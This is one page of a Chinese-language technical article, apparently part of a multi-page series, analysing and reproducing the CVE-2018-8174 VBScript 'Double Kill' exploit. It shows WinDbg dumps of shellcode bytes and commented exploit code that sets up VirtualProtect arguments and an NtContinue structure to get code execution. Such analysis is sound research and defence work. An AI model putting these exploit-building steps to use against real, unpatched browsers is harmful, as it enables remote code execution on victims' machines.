CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
0265003c 52 0c 8b 52 14 8b 72 28-0f b7 4a 26 31 ff ac 3c R..R..r(..J&1..0265004c 61 7c 02 2c 20 c1 cf 0d-01 c7 e2 f2 52 57 8b 52 a|., .......RW.R
0265005c 10 8b 4a 3c 8b 4c 11 78-e3 48 01 d1 51 8b 59 20 ..J0265006c 01 d3 8b 49 18 e3 3a 49-8b 34 8b 01 d6 31 ff ac ...I..:I.4...1..
0265007c c1 cf 0d 01 c7 38 e0 75-f6 03 7d f8 3b 7d 24 75 .....8.u..}.;}$u
0265008c e4 58 8b 58 24 01 d3 66-8b 0c 4b 8b 58 1c 01 d3 .X.X$..f..K.X...
0265009c 8b 04 8b 01 d0 89 44 24-24 5b 5b 61 59 5a 51 ff ......D$$[[aYZQ.
//接下来开始为 VirtualProtect 构造参数:
//result=result &EscapeAddress(ShellcodeAddrParam)
0:005> dd poi(esp+c) lc
0055e470 0212004a 024dcc24 02129da8 0055cab0
0055e480 02110008 00000004 0392ca3c 6e5d0001
0055e490 00000000 02108298 0037a1bc 0055f5cc
0055e4a0 024dd0b0 0055e4d0 02650008 024dc9d4
0:005> dd 02129da8 lc
02129da8 02120008 024dcc24 0393da34 0055cab0
02129db8 00000000 00000000 655fbbf0 0c04fced
02129dc8 00000000 00550050 00000000 0055f698
0:005> dd 0393da34 lc //1--lpAddress:修改的基地址(也是上面字符串的起始地址)0393da34 41414141 41414141 41414141 41414141
0393da44 41414141 41414141 41414141 41414141
0393da54 41414141 41414141 41414141 41414141
//result=result &EscapeAddress(&h3000) '2--dwSize: size
//result=result &EscapeAddress(&h40) '3--flNewProtect:PAGE_EXECUTE_READWRITE //result=result &EscapeAddress(ShellcodeAddrParam-8) '4--pflOldProtect: 内存原始属性保存地址
//result的值在不停的变化
0:005> dd 0392ca3c +10fdc
0393da18 0265002c 0265002c 00003000 00000040
0393da28 02650024 08060000 00010fe8 41414141
//result=result &String(6,Unescape("%u4242")) '重复 12个“*”
0:005> dd 0394ea5c +10fdc
0395fa38 0265002c 0265002c 00003000 00000040
0395fa48 02650024 42424242 42424242 42424242
//result=result &StructWithNtContinueAddr() ' 3*0x00+4*NtContinue函数地址+0x00
//StructWithNtContinueAddr 函数是将/x00 与NtContinue 函数地址形成了一个拼接,
0:005> dd 0392ca3c +10fdc
0393da18 0265002c 0265002c 00003000 00000040
0393da28 02650024 42424242 42424242 42424242
0393da38 68000000 68776a55 68776a55 68776a55 //NtContinue的函数地址是 776a5568,68位置不太对看起来有点怪异
0393da48 00776a55 41410000 41414141 41414141
0393da58 97174369 0006b5af 002d00c4 003bb6d0
0393da68 41414141 41414141 41414141 41414141
0393da78 41414141 41414141 41414141 41414141
0393da88 41414141 41414141 41414141 41414141
//result=result &String((&h80000-LenB(result))/2,Unescape("%u4141"))
//把除了当前的result有效的位置外的地方全部写成"A"
//最终的效果是:
0:005> dd 02b70024 +10fdc
02b81000 0265002c 0265002c 00003000 00000040 //依次为 shellcode 地址,VirtualProtect四个参数
02b81010 02650024 42424242 42424242 42424242
02b81020 68000000 68776a55 68776a55 68776a55 //NtContinue 的函数地址
02b81030 00776a55 41414141 41414141 41414141
02b81040 41414141 41414141 41414141 41414141
02b81050 41414141 41414141 41414141 41414141
02b81060 41414141 41414141 41414141 41414141
02b81070 41414141 41414141 41414141 41414141
继续往下走: SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
//SetMemValue函数内的IsEmpty断点:
0:005> dd 0037a1bc
0037a1bc 00000002 00000000 02110008 02105c94
0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //01dc0024是VirtualProtectCallParameters函数返回的地址
0037a1dc 88006c6c 00000000 00000000 00000000
0037a1ec 00000000 00000000 00000000 00000000
0037a1fc 00000000 7cd3322f 8000e984 77110106
0037a20c 00000000 771246e2 00000017 0037a208
0037a21c 00000000 00000000 00000000 7cd3322a
0037a22c 88005668 00000000 00000000 00350000
//lIlll=GetMemValue()+0x10FDC
0:005> dd 0037a1bc
0037a1bc 02120002 02129db8 02b70003 6e5d1684 //更改类型为Long
0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //返回01dc0024地址
0037a1dc 88006c6c 00000000 003b2f48 77737560
0037a1ec 00379f90 00000000 00000000 00000000
//lIlll 得到这片特殊环境的首地址 01dd1000
0:005> dd 01dc0024 +10fdc
01dd1000 0265002c 0265002c 00003000 00000040
01dd1010 02650024 42424242 42424242 42424242
01dd1020 68000000 68776a55 68776a55 68776a55
01dd1030 00776a55 41414141 41414141 41414141
执行 SetMemValue ExpandWithVirtualProtect(lIlll):
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页